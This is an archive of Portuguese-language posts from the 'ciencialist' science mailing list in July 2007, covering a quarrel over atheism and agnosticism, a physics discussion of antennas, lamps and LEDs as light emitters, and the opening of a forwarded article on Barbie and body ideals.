> > > E como esta é uma lista de ciência, e não de ateísmo,
> > > ou de qualquer fé, e como pretendemos preservar a
> > > sensibilidade de eventuais satanistas que a
> > > freqüentem (e vice versa), é melhor evitar qualquer
> > > manifestação de superstições e crenças, me parece..:-)
> >
> > Concordo mas não é isto que flagro em uma centena (talvez milhar) de
> > mensagens que tem sido aqui postadas (por você inclusive). E é por
> > isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
> > que vocês professam é da pior qualidade, uma verdadeira afronta aos
> > amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
> > tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
> > homem das cavernas.
> >
> > PS1: Não responderei a sua possível réplica pois o assunto foge do
> > âmbito da Ciencialist e eu não vim aqui com a finalidade de aparecer
> > mas apenas de protestar contra mensagens ou réplicas a mensagens
> > deste gênero (há quase um ano não faço outra coisa a não ser enviar a
> > grande maioria das mensagens da Ciencialist para a lixeira).
> >
> > PS2: Se alguém desejar saber mais sobre o que penso a respeito sugiro
> > que leia "Ciência, materialismo e espiritualismo" a partir de
> > http://www.ecientificocultural.com/ECC2/Dialogos/cmee.htm
> >
> > [ ]´s
> > Alberto
> > http://ecientificocultural.com/indice.htm
> > Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> > coulombiana e a Terra se move. E a história se repetirá.
> >
>




SUBJECT: RES: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 05:35

----- Original Message -----
From: "J.Victor"
Sent: Sunday, July 29, 2007 9:44 AM
Subject: RES: [ciencialist] Re: Gato de Schoroedinger e a proteção de
Satã

> > Mesquita: "..., pois esse ateísmo que vocês professam
> > é da pior qualidade, uma verdadeira afronta aos amantes
> > da ciência".

> Victor: E o que seria um ateísmo de boa qualidade?

Não tenho a menor idéia nem interesse em saber. No sentido em que eu
coloquei seria, talvez, um ateísmo de uso exclusivamente pessoal e,
portanto, sem nenhum vínculo com atitudes evangelizadoras, como sói
acontecer freqüentemente aqui na Ciencialist, por mais que digam o
contrário (e nem preciso citar ninguém pois todos recebem as
mensagens e sabem exatamente do que estou falando). Ipso facto, esses
indivíduos não deveriam pregar seu "evangelho" numa lista de ciência.
Foi nesse sentido que eu disse, logo a seguir, em minha msg: "Não
vejo diferença nenhuma entre esse ateísmo tosco, grosseiro e
rudimentar e a religiosidade ingênua e inerente ao homem das
cavernas." Aliás, você também comentou algo a respeito no meio de sua
msg: "professar ou pregar esse tipo de coisa é tão idiota quanto o
contrário." Sigamos então esse seu conselho e vamos dar fim a esse
bate papo "idiota" e sem sentido ("sem sentido" no que diga respeito
a um ponto de vista científico), para o bem estar dos demais
ciencialisteiros.

Fui. Por motivos óbvios não comentarei mais nada nesta thread e
perdoem-me por esta msg mas eu tenho bastante consideração e respeito
para com o Victor, logo não podia deixá-lo falando sozinho.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 09:27

Uma lâmpada comum não é exatamente isso? No caso, uma "antena" omini :-)

[]´,s
Jeff.

>
>Mas expandindo um pouco na teoria, sistemas físicos como o corpo negro,
>lasers, materiais fosforecentes, todos eles podem ser modelados (os físicos
>vão saber dizer melhor do que eu sobre isso) como osciladores. Inclusive,
>Planck usou um modelo de osciladores de comprimento de ondas discretos para
>chegar à equação que descreve a radiação de corpo negro.
>
>Shridhar
>http://entropicando.blogspot.com
>
>On 7/29/07, J.Victor <j.victor.neto@uol.com.br> wrote:
>
> Olá, Antonio,
>
> Esse assunto já foi discutido há muito tempo por aqui.
>
> Um dos principais problemas da transmissão de sinais por ondas
> eletromagnética está na antena, cujo "tamanho" é da ordem do comprimento
> de
> onda.
>
> Para a faixa luminosa, uma antena para transmiti-la seria da ordem de
> nanômetros.
>
> Ou seja, teoricamente é possível, pois a luz é uma OEM como outra
> qualquer. Mas não existe tecnologia para implementar uma antena nas
> dimensões requeridas. Quanto à radiações de comprimentos de onda
> menores(ou
> freqüências maiores), nem pensar.
>
> Sds,
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br
> <ciencialist%40yahoogrupos.com.br>[mailto:
> ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>]
> Em nome de Luiz Antonio Picanço
> Enviada em: domingo, 29 de julho de 2007 19:36
> Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Assunto: [ciencialist] Gerando luz através de osciladores.
>
> Salve pessoal,
>
> estive aqui pensando:
>
> A luz é uma onda eletromagnética.
> Se criarmos um transmissor de ondas eletromagnéticas que alcancem a
> frequência relativa ao espectro visível da luz, conseguiríamos "ver" tal
> emissão de ondas ?
>
> --
> Luiz Antonio Picanço
> -----------
> Programando na madrugada:
> http://www.luizantonio.com
> NeutrineGTD:
> http://neutrinegtd.neutrine.com
> Não Enche:
> http://www.naoenche.com
>
> [As partes desta mensagem que não continham texto foram removidas]
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 09:36

>
>> Concordo mas não é isto que flagro em uma centena (talvez milhar) de
>> mensagens que tem sido aqui postadas (por você inclusive). E é por
>> isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
>> que vocês professam é da pior qualidade, uma verdadeira afronta aos
>> amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
>> tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
>> homem das cavernas.
>
>Concordo com todo o parágrafo acima do Alberto. Também sou agnóstico,
>e me desgosto com a "militância" e a "patrulha" de alguns ateístas
>aqui na Ciencialist, como também a de outros fora dela.
>

No sentido lato da palavra "ateu" (sem deus) eu sou um ateu. Mas eu entendo
que enquanto não se sabe tudo (e talvez nunca saberemos), não se pode ter
certeza de nada. Assim, eu me considero um "agnóstico".

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 10:05

Jeff pergunta:<Uma lâmpada comum não é exatamente isso? No caso, uma "antena" omini :-)>

Não Jeff, não é a lâmpada comum ou mesmo seu filamento, em si, que se comporta como 'antena transmissora', são os 'zilhões' de átomos excitados que funcionam como minúsculas 'antenas transmissoras' e cujo efeito global é, em minúscula parte, o feixe de luz natural que vemos.
Esse feixe 'natural' total (por isso não polarizado!) é constituído de miríades de ondinhas eletromagnéticas nas mais esdrúxulas freqüências e planos de vibração. Nem todas as ondinhas desse feixe total (aliás, a maioria delas) não são capazes de ressoar com as 'antenas receptoras dos miríades átomos das células da retina'; não nos causam sensações visuais.
Uma lâmpada incandescente comum tem apenas cerca de 8% das ondinhas radiadas dentro do espectro visível e grande maioria na faixa do infra vermelho (antigamente chamada de raios de calor, ondas térmicas, radiação calorífica, calor radiante e bobagens quetais); dai o fato de se tentar, definitivamente, excluir as lâmpadas incandescentes da categorias de 'conversores de energia elétrica para energia luminosa' (uma incandescente é bem mais um aquecedor do que um iluminador): um lustre antigo com 8 lâmpadas incandescentes de 60 W produz tanta "luz útil" quanto uma lâmpada fluorescente de 40 W; porém o lustre consome 480 joules de energia elétrica por segundo, contra os 40 joules da fluorescente --- uma economia de 440 J de energia elétrica a cada segundo! E os LEDs estão ai para economizar ainda mais essa nobre energia por serem transdutores mais eficientes que as fluorescentes (sem contar que o tempo de vida de um LED é apenas coisa de 10 anos!).

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Jeff" <jeff@jeff.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 30 de julho de 2007 09:27
Assunto: Re: [ciencialist] Gerando luz através de osciladores.


Uma lâmpada comum não é exatamente isso? No caso, uma "antena" omini :-)

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 10:10

Uma lâmpada é uma antena no sentido de que ele, ao fornecer energia ao
tungstênio, mantêm a contínua oscilação de níveis de energia, i.e., faz os
elétrons no átomo se mexerem. Mas existe uma diferença fundamental entre os
dois conceitos: uma antena é completamente controlável, tanto na freqüência
quanto na amplitude, para isto bastando alterar a freqüência de ressonância
do circuito tanque que o alimenta. (é uma super-simplificação), enquanto que
o tungstênio tem uma emissão de corpo negro e a única coisa que podemos
fazer é alterar a temperatura de operação. A antena é um pedaço de metal em
que nós ficamos fazendo elétrons oscilar para gerar as ondas
eletromagnéticas que queremos enquanto que uma lâmpada é mais ou menos que
nem um lingote de ferro quente que fica avermelhado.

Shridhar

On 7/30/07, Jeff <jeff@jeff.com.br> wrote:
>
> Uma lâmpada comum não é exatamente isso? No caso, uma "antena" omini :-)
>
> []´,s
> Jeff.
>
> >
> >Mas expandindo um pouco na teoria, sistemas físicos como o corpo negro,
> >lasers, materiais fosforecentes, todos eles podem ser modelados (os
> físicos
> >vão saber dizer melhor do que eu sobre isso) como osciladores. Inclusive,
> >Planck usou um modelo de osciladores de comprimento de ondas discretos
> para
> >chegar à equação que descreve a radiação de corpo negro.
> >
> >Shridhar
> >http://entropicando.blogspot.com
> >
> >On 7/29/07, J.Victor <j.victor.neto@uol.com.br<j.victor.neto%40uol.com.br>>
> wrote:
> >
> > Olá, Antonio,
> >
> > Esse assunto já foi discutido há muito tempo por aqui.
> >
> > Um dos principais problemas da transmissão de sinais por ondas
> > eletromagnética está na antena, cujo "tamanho" é da ordem do comprimento
> > de
> > onda.
> >
> > Para a faixa luminosa, uma antena para transmiti-la seria da ordem de
> > nanômetros.
> >
> > Ou seja, teoricamente é possível, pois a luz é uma OEM como outra
> > qualquer. Mas não existe tecnologia para implementar uma antena nas
> > dimensões requeridas. Quanto à radiações de comprimentos de onda
> > menores(ou
> > freqüências maiores), nem pensar.
> >
> > Sds,
> >
> > Victor.
> >
> > De: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> > <ciencialist%40yahoogrupos.com.br>[mailto:
> > ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br><ciencialist%40yahoogrupos.
> com.br>]
> > Em nome de Luiz Antonio Picanço
> > Enviada em: domingo, 29 de julho de 2007 19:36
> > Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br><ciencialist%40yahoogrupos.
> com.br>
> > Assunto: [ciencialist] Gerando luz através de osciladores.
> >
> > Salve pessoal,
> >
> > estive aqui pensando:
> >
> > A luz é uma onda eletromagnética.
> > Se criarmos um transmissor de ondas eletromagnéticas que alcancem a
> > frequência relativa ao espectro visível da luz, conseguiríamos "ver" tal
> > emissão de ondas ?
> >
> > --
> > Luiz Antonio Picanço
> > -----------
> > Programando na madrugada:
> > http://www.luizantonio.com
> > NeutrineGTD:
> > http://neutrinegtd.neutrine.com
> > Não Enche:
> > http://www.naoenche.com
> >
> > [As partes desta mensagem que não continham texto foram removidas]
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> > [As partes desta mensagem que não continham texto foram removidas]
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> >
> >
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> Página de apoio
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> Links do Yahoo! Grupos
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 10:13

Na mensagem anterior, na linha
"Nem todas as ondinhas desse feixe total (aliás, a maioria delas) NÃO são capazes de ressoar com as 'antenas receptoras dos miríades átomos ....",
joguem fora esse NÃO que aqui destaquei em maiúscula.
[]'
Léo



SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 11:30

>
>Uma lâmpada é uma antena no sentido de que ele, ao fornecer energia ao
>tungstênio, mantêm a contínua oscilação de níveis de energia, i.e., faz os
>elétrons no átomo se mexerem. Mas existe uma diferença fundamental entre os
>dois conceitos: uma antena é completamente controlável, tanto na freqüência
>quanto na amplitude, para isto bastando alterar a freqüência de ressonância
>do circuito tanque que o alimenta. (é uma super-simplificação), enquanto
>que
>o tungstênio tem uma emissão de corpo negro e a única coisa que podemos
>fazer é alterar a temperatura de operação. A antena é um pedaço de metal em
>que nós ficamos fazendo elétrons oscilar para gerar as ondas
>eletromagnéticas que queremos enquanto que uma lâmpada é mais ou menos que
>nem um lingote de ferro quente que fica avermelhado.
>

Eu entendo o seguinte (me corrijam se tiver algum conceito errado):

Se eu energizar um fio condutor com uma baixa potência, este conduzirá uma
corrente elétrica e já emitirá ondas eletromagnéticas de baixa frequência (e
comprimento de onda grande). Conforme aumenta-se a energia neste fio, as OEM
emitidas terão também mais energia (maior frequência e menor comprimento de
onda). Mas ainda em infra-vermelho, passando primeiro pelo espectro de rádio
(como uma antena de radinho), depois microondas até chegar perto do
vermelho. Um fio de cobre comum começar a fundir com um pouco mais de
energia, por isso que em lâmpadas usam o tungstênio (ponto de fusão de mais
de 3000ºC), certo? Com mais energia, ele avermelha (entra no espectro
visível para nós).

Pensando assim que eu concluí que uma antena de rádio e uma lâmpada seriam a
mesma coisa, fisicamente falando, só que emitindo em diferentes intervalos
de frequência. Claro que numa lâmpada convencional não temos um bom controle
de frequência e amplitude, mas com um LED sim, né? (Um controle remoto de
televisão não é nada mais que um LED que emite sinais digitais, como uma
antena, só que emissora de ondas infra-vermelho).

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: motor magnético
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 11:39

J.Victor diz:
>Agora, o pensamento abaixo irá para o meu arquivo de referências
importantes. Bela e correta afirmação.

"A Ciência mostra o conceito do fenômeno enquadrando-o em uma teoria
vigente; o bom engenheiro gera uma praticidade para o fenômeno. Toda a
tecnologia parte disso!"

À afirmação, acrescente isso:

"A teoria ensina, porém, só a prática afere-lhe o valor. Não basta saber; é imprescindível utilizar o que se conhece."

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/07/2007 12:04

Jeff retorna ao texto do amigo Shridhar com:

[ ... Claro que numa lâmpada convencional não temos um bom controle
de freqüência e amplitude, mas com um LED sim, né? (Um controle remoto de
televisão não é nada mais que um LED que emite sinais digitais, como uma
antena, só que emissora de ondas infra-vermelho).]

Eu, mais uma vez imiscuindo-me no papo alheio, paperizo:

Não Jeff, no LED não temos controle algum de freqüência; esta já está fixada pela estrutura do LED. Uma vez excitado pela corrente ele emitirá sempre ondas coerentes de mesma freqüência, no caso, uma estreita faixa do infra vermelho.
(nota: a amplitude pode ser alterada, até certo ponto, pela alteração da intensidade de corrente que o alimenta --- alterando a tensão, por exemplo).
O que vc pode fazer é 'modular' a tensão de alimentação em forma de sinais de ondas quadradas numa seqüência adequada para que o receptor de infra vermelho da TV entenda como uma mensagem do tipo "aumentar o volume", "mudar de canal" etc. São 'pacotes' de trens de ondas infra vermelhos, emitidos numa seqüencial especial para o decodificador --- não são alterações na freqüência própria de emissão do LED; ele sempre emitirá na mesma freqüência.

Será algo assim: |||| || |||| || |||| || |||| ... pacotes de mesma freqüência e durações diferentes.

É algo como vc ter uma lanterna comum e começar a piscar, com o botãozinho de apertar/soltar; vc poderá emitir um trem de 'luz visível' curto e outro mais longo --- mas, é sempre a "mesma" luz visível!

Algo assim: ||//\\\/\ /\/\//\\//\/|| \\/\//\|| /||/\\/ ... pacotes de várias freqüências, cuja impressão visual é o 'branco' e durações diferentes.

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Jeff" <jeff@jeff.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 30 de julho de 2007 11:30
Assunto: Re: [ciencialist] Gerando luz através de osciladores.




SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 13:02

A questão, Jeff, é que o conceito de emissão de ondas EM através de uma
antena é bem particular porque, ao contrário do LED (como explica o Léo) ou
da lâmpada, numa antena não estamos mexendo com oscilações de estados de
energia quânticos de átomos ou moléculas. Na antena, estamos fazendo um
elétron subir e descer através de uma barra de metal. Fundamentalmente, toda
a emissão eletromagnética é feita por osciladores, mas na antena o oscilador
é um ente projetado como um oscilador, construido daquela forma enquanto que
os osciladores de luz visível são osciladores naturais utilizados...

Shridhar
http://entropicando.blogspot.com

On 7/30/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
> Jeff retorna ao texto do amigo Shridhar com:
>
> [ ... Claro que numa lâmpada convencional não temos um bom controle
> de freqüência e amplitude, mas com um LED sim, né? (Um controle remoto de
> televisão não é nada mais que um LED que emite sinais digitais, como uma
> antena, só que emissora de ondas infra-vermelho).]
>
> Eu, mais uma vez imiscuindo-me no papo alheio, paperizo:
>
> Não Jeff, no LED não temos controle algum de freqüência; esta já está
> fixada pela estrutura do LED. Uma vez excitado pela corrente ele emitirá
> sempre ondas coerentes de mesma freqüência, no caso, uma estreita faixa do
> infra vermelho.
> (nota: a amplitude pode ser alterada, até certo ponto, pela alteração da
> intensidade de corrente que o alimenta --- alterando a tensão, por exemplo).
>
> O que vc pode fazer é 'modular' a tensão de alimentação em forma de sinais
> de ondas quadradas numa seqüência adequada para que o receptor de infra
> vermelho da TV entenda como uma mensagem do tipo "aumentar o volume", "mudar
> de canal" etc. São 'pacotes' de trens de ondas infra vermelhos, emitidos
> numa seqüencial especial para o decodificador --- não são alterações na
> freqüência própria de emissão do LED; ele sempre emitirá na mesma
> freqüência.
>
> Será algo assim: |||| || |||| || |||| || |||| ... pacotes de mesma
> freqüência e durações diferentes.
>
> É algo como vc ter uma lanterna comum e começar a piscar, com o botãozinho
> de apertar/soltar; vc poderá emitir um trem de 'luz visível' curto e outro
> mais longo --- mas, é sempre a "mesma" luz visível!
>
> Algo assim: ||//\\\/\ /\/\//\\//\/|| \\/\//\|| /||/\\/ ... pacotes de
> várias freqüências, cuja impressão visual é o 'branco' e durações
> diferentes.
>
> []'
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Jeff" <jeff@jeff.com.br <jeff%40jeff.com.br>>
> Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Enviada em: segunda-feira, 30 de julho de 2007 11:30
> Assunto: Re: [ciencialist] Gerando luz através de osciladores.
>
>
>


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SUBJECT: P/ Vitor - Re: Gato de Schoroedinger e a proteção de Satã
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 13:04

Olá Vitor

Excelente texto, assino embaixo (na verdade, é um dos que eu gostaria
de ter escrito, embora não tenha essa competência..:-). Também penso o
mesmo, tanto que não há ligação entre essas áreas do saber humano,
como ser a posição agnóstica um tipo de fuga (uma vez que ninguém se
diz "agnóstico" de Papai Noel, duendes ou fadas ou outros fenomenos
sem evidências).

Também peço desculpas por ser responsável por diversos "pitos" do
Takata e do Brudna (e entendo eu estar em eterna, e justa,
moderação..:-), mas como eu disse ao Alberto, penso que foram sempre
respostas, não inícios de debates. Nunca pretendi convencer ninguém
que deus (ou o que seja) não existe, mas sim responder a alegações de
certeza (ou quase) sobre sua existência (ou sua influência em eventos
que deveriam ser analisados do ponto de vista puramente científicos).

Não sabemos "tudo", mas nem por isso essas lacunas de conhecimento
justificam qualquer outra explicação sem evidências. Se um experimento
cientpifico falha inexplicavelmente, não é razoável dizer que "foi
deus que quis assim", não?

Tenho como padrão que, se ninguém falar de fé e religião, eu também
não falo (ou respondo a mensagens nesse sentido).

Mais uma vez, excelente texto e excelentes colocações.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
escreveu
>
> Olá,
>
>
>
> Embora me arrisque a tomar outro pito do Takata, preciso dizer algo a
> respeito, vez que também ousei produzir, em pouco número, é verdade,
> algumas das coisas criticadas. Além do mais há um pedido sincero de
> desculpas ao Marcus, ao final.
>
>
>
> Mesquita: "..., pois esse ateísmo
> que vocês professam é da pior qualidade, uma verdadeira afronta aos
> amantes da ciência".
>
>
>
> Victor: E o que seria um ateísmo de boa qualidade?
>
> O que alguns, poucos, têm discutido por aqui, até onde tenho lido,
mesmo com
> o risco de tomar porrada do nobre samurai Takata, são argumentos de que
> ciência e religião nada têm a ver uma com a outra. E nestas breves
incursões
> clandestinas, alguns têm expressado suas descrenças a respeito de coisas
> relacionadas à espiritualidade. Se são ateus, ou não crentes, ou que
outro
> nome se dê, é uma questão para o freguês que está lendo. Alguns se dizem
> agnósticos, como você; outros professam suas crenças, nesta ou naquela
> orientação espiritual. Não vejo nenhum problema nisso. E mesmo que
visse,
> isto não teria a mínima importância. Particularmente já disse, e
reafirmo
> com mais ênfase ainda, que quem tem suas convicções, crê nelas,
seja-lhes
> fiel, e, então, toque o barco para adiante, sem olhar para trás, que
lá não
> tem volta. Afinal, quem sabe de si é o próprio si.
>
> O que tenho, em particular, criticado, e vou continuar fazendo, só
espero
> que com "boa qualidade", é que ambas as linhas de pensamento,
religiosa e
> científica, fiquem, cada uma em seu lugar. Pois não há qualquer ligação
> entre elas. E que numa lista essencialmente científica(ao menos deveria
> sê-lo) coisas do tipo que questionei, sem qualquer intenção de magoar ou
> agredir quem quer que seja, sejam evitadas. Está certo que o autor da
> mensagem é novato na lista –e não levei isso em consideração- talvez
ele não
> soubesse dessas posturas e, por isso, não achou nada demais postar o
texto
> em latim. Pois entendo que veteranos não fariam algo assim. Há
ambientes
> específicos, dedicados ao mister. Não aqui (repito: ao menos não
deveria).
> Acho que as discussões que têm surgido, inclusive umas poucas de minha
> autoria, não têm sido ateístas, nem destinadas a professar isso, que
> professar ou pregar esse tipo de coisa é tão idiota quanto o contrário.
>
> Particularmente, e para finalizar, embora não deva importar a ninguém,
> apenas a mim, que:
>
> a) Não sou agnóstico, pois significa ficar em cima de um muro
que nem
> existe, o que é uma posição pessoal e filsófica(para quem gosta
disso) que,
> há muito, desadotei, sem medo de ir para o inferno;
>
> b) Não sou ateu, pois nada existe para que, em minha
particularíssima
> opinião, em cuja crença, justifique-se o significado dessa palavra :
Ateu sm
> (gr átheos) Indivíduo que não crê na existência de Deus; ateísta. fem:
> atéia. Antôn: deísta.
>
> c) Por isso, entendo que é deplorável que alguém viva tentando
> convencer outra parte de que Deus não existe, que Deus existe, ou outra
> coisa.
>
> d) Está certo que, nos últimos 12 ou 18 meses, muita porcaria
tem caído
> por aqui. Porcaria nesse sentido: porcaria meeesmo! No que toca a mim,
> contudo, o Outlook tem resolvido: lixeira. Contudo, outros "lixos"
sobre o
> assunto ora enfocado, que alguns de nós têm exposto por aqui, não
podem ser
> considerados assim, com essa franciscana e definitiva simplicidade.
Pois
> não são. Estes, apenas têm tentado mostrar que as duas são áreas do
> conhecimento inteiramente diferentes, sem link possível. Ou há
link? De
> jeito algum tenho identificado pregações pró ou contra o que quer
que seja.
> Exceto pelas repulsas às posturas de alguns de nós.
>
>
>
> Em vista do exposto, peço ao autor da postagem em latim, que me
desculpe. Eu
> não quis ofendê-lo.
>
> Afinal, lembro agora, coisas muito piores, deploráveis, sem qualquer
> ligação com ciência, já forma postadas por aqui, farta e longamente
> discutidas, com pouquíssimos e irrelevantes "pios". De forma que você,
> novato, não cometeu nenhum pecado, nem venialzinho que seja.
>
>
>
> Particularmente, considero a analogia do gato de Schoroedinger
ridícula, à
> qual tem-se dado uma atenção desproporcional. Não me aventuro a discutir
> coisas que a nada minimamente proveitoso poderemos chegar. Fazer
analogias
> entre coisas do mundo atômico, que tem um comportamento específico e
> diferenciado, com coisas do mundo macroscópico, embora sendo
constituído de
> ingredientes do mundo atômico, querendo disso inferir verdades
essenciais,
> é, no mínimo, um equívoco. Sobre o que muita coisa tem sido
escrita, sem,
> contudo, levar a nada. Como não deveria deixar de ser. Outro
exemplo é o do
> mal afamado e falso paradoxo dos gêmeos. São sistemas de referências
> diferentes. Cada coisa deve ser analisada dentro de seus limites de
atuação.
> É difícil compreender algo tão elementar assim? Se, com o tempo, janelas
> linkando as áreas se abrirem, então tudo bem, as razões por assim
aconteceu
> serão esclarecidas nos posteriores desenvolvimentos a que o fato deu
causa..
> Mas não necessariamente no mesmo contexto. Querer o contrário,
paciência.
> Não é assim, em física.
>
> Infelizmente, até o momento, contudo, não se mostrou que as teorias
de micro
> e do macro sejam conversíveis uma na outra. A única coisa de que se tem
> certeza é o fato de que as atuais são casos particulares daquelas.
>
> ´
>
> E claro que, a reboque dessas posturas equivocadas, vem isto: confusão
> mental. E os nós que são dados não são fáceis de serem desatados. E haja
> malabarismos, para justificações e mais que tais! Por outro lado, o
bom é
> que isto pode conduzir a posturas de reposicionamento:
>
> a demonstração de que quem aceita coisas assim simplesmente deixou de
> abiscoitar as essencialidades do mister. Mas sempre há tempo, embora
tempo é
> coisa que a vida tem bem pouquinho, quase chegando a nada.
>
>
>
> Sds,
>
> Victor.
>
>
>
>
>
>
>
> De: ciencialist@yahoogrupos.com.br
[mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Alberto Mesquita Filho
> Enviada em: domingo, 29 de julho de 2007 07:18
> Para: ciencialist@yahoogrupos.com.br
> Assunto: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
>
>
>
> ----- Original Message -----
> From: "oraculo333"
> Sent: Saturday, July 28, 2007 10:49 PM
> Subject: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
>
> > E como esta é uma lista de ciência, e não de ateísmo,
> > ou de qualquer fé, e como pretendemos preservar a
> > sensibilidade de eventuais satanistas que a
> > freqüentem (e vice versa), é melhor evitar qualquer
> > manifestação de superstições e crenças, me parece..:-)
>
> Concordo mas não é isto que flagro em uma centena (talvez milhar) de
> mensagens que tem sido aqui postadas (por você inclusive). E é por
> isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
> que vocês professam é da pior qualidade, uma verdadeira afronta aos
> amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
> tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
> homem das cavernas.
>
> PS1: Não responderei a sua possível réplica pois o assunto foge do
> âmbito da Ciencialist e eu não vim aqui com a finalidade de aparecer
> mas apenas de protestar contra mensagens ou réplicas a mensagens
> deste gênero (há quase um ano não faço outra coisa a não ser enviar a
> grande maioria das mensagens da Ciencialist para a lixeira).
>
> PS2: Se alguém desejar saber mais sobre o que penso a respeito sugiro
> que leia "Ciência, materialismo e espiritualismo" a partir de
> http://www.ecientificocultural.com/ECC2/Dialogos/cmee.htm
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: O Balaio de Gatos de Schoroedinger
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/07/2007 13:27

Olá gatos, gatunos e gatojunos:

De que adianta voces tomarem posição cientifica,
existencial, e oscambu, diser que são assim, assado ou
ao ponto, se não conseguem sequer responder esta
simples pergunta: quem sou eu?


sinceramente
ferrari






Ferrari
http://www.orkut.com/Home.aspx?xid=10977235114371420148
http://budapracristo.blogspot.com
http://xixicomtinta.blogspot.com
http://matrix-zero.blogspot.com




Alertas do Yahoo! Mail em seu celular. Saiba mais em http://br.mobile.yahoo.com/mailalertas/


SUBJECT: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 30/07/2007 14:01

política

PERFEIÇÃO

A arma de guerra chamada Barbie
Por Paula Sibila

A boneca criada em 1958 é pioneira na configuração de um modelo corporal que
talvez seja o mais tirânico da história ocidental

Uma temporada após a outra, desfiles de moda acendem seus holofotes nas mais
diversas cidades do mundo. Olhos fascinados (ou entediados) assistem aos
vaivéns das passarelas, onde as modelos que servem de "cabide para as
roupas" costumam despertar mais curiosidade que as extravagantes vestes em
exibição.

O corpo das modelos exerce um magnetismo não isento de polêmicas, tais como
os escândalos e burburinhos ligados à anorexia, mas seu brilho nunca
diminui. Elas continuam atraindo os olhares, surpreendentemente idênticas
umas às outras, e todas muito diferentes das comuns mortais que as admiram
em silêncio -e que gostariam de se parecer com elas. Exércitos de mulheres
de todas as procedências querem copiar esses corpos-modelos que tanto se
assemelham entre si, como numa clonagem universal de um protótipo que há
décadas permanece incólume: a Barbie.

Embora já esteja ficando quase velha, essa boneca esguia e eternamente jovem
